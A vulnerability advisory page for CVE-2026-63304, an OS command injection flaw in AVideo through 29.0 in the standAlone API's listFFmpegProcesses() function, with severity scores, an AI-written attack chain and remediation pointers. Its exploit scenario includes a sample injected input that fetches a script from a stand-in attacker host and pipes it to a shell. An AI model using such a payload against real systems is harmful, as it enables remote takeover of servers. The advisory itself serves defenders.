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AVideo EUVDEUVD-2026-44913

| CVE-2026-63304 CRITICAL
OS Command Injection (CWE-78)
2026-07-16 VulnCheck GHSA-jjpq-qx77-qjwj
PHP Command Injection Avideo
9.2
CVSS 4.0 · Vendor: VulnCheck
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Severity by source

Vendor (VulnCheck) PRIMARY
9.2 CRITICAL
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.1 HIGH

Network-reachable and unauthenticated (AV:N/PR:N) but requires forging a valid encrypted payload, so AC:H; command execution as web user gives full C/I/A impact.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

2
Analysis Generated
Jul 16, 2026 - 13:22 vuln.today
CVE Published
Jul 16, 2026 - 12:19 cve.org
CRITICAL 9.2

DescriptionCVE.org

AVideo through 29.0 contains an OS command injection vulnerability in plugin/API/standAlone/functions.php where the listFFmpegProcesses() function interpolates unsanitized keyword parameters inside single quotes without escaping. Attackers who can craft a valid encrypted codeToExec payload can break out of the single-quoted grep context and execute arbitrary OS commands as the web-server user.

Articles & Coverage 1

News Critical OS Command Injection in AVideo (WWBN) through v29.0 - CVE-2026-63304 Jul 17, 2026

AnalysisAI

OS command injection in AVideo (WWBN) through version 29.0 lets remote attackers who can forge a valid encrypted codeToExec payload run arbitrary shell commands as the web-server user via the listFFmpegProcesses() function in the standAlone plugin API. The flaw is unauthenticated (PR:N) but non-trivial to reach because it depends on producing an accepted encrypted parameter, and no public exploit or CISA KEV listing is identified at time of analysis.

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Reach standAlone API endpoint
Delivery
Forge valid encrypted codeToExec payload
Exploit
Inject metacharacters via keyword parameter
Execution
Break out of grep single quotes
Impact
Execute OS commands as web-server user
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Vulnerability AssessmentAI

Exploitation Exploitation requires the attacker to craft a valid encrypted codeToExec payload accepted by AVideo's standAlone API and to reach the plugin/API/standAlone/functions.php endpoint that invokes listFFmpegProcesses(); the injection is delivered through the keyword parameter, which is placed inside single quotes without escaping. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The vendor-supplied CVSS 4.0 score is 9.2 (critical) with vector AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H, meaning network-reachable, unauthenticated, full confidentiality/integrity/availability impact on the vulnerable system, but explicitly high attack complexity (AC:H) and a present attack requirement (AT:P). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker who can generate a valid encrypted codeToExec payload sends a crafted request to AVideo's standAlone API, passing a keyword parameter containing a single quote followed by shell metacharacters (e.g. '; curl attacker/x | sh #). …
Remediation Patch available per vendor advisory: consult the AVideo GitHub Security Advisory GHSA-j44m-77cc-p3cc (https://github.com/WWBN/AVideo/security/advisories/GHSA-j44m-77cc-p3cc) and upgrade to the fixed release it designates; a released patched version could not be independently confirmed from the provided data, so verify the fixed tag against the advisory before deploying. … Detailed patch versions, workarounds, and compensating controls in full report.
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Recommended ActionAI

Within 24 hours: Identify all systems running AVideo through version 29.0 and assess whether the standAlone plugin is actively used. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

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EUVD-2026-44913 vulnerability details – vuln.today
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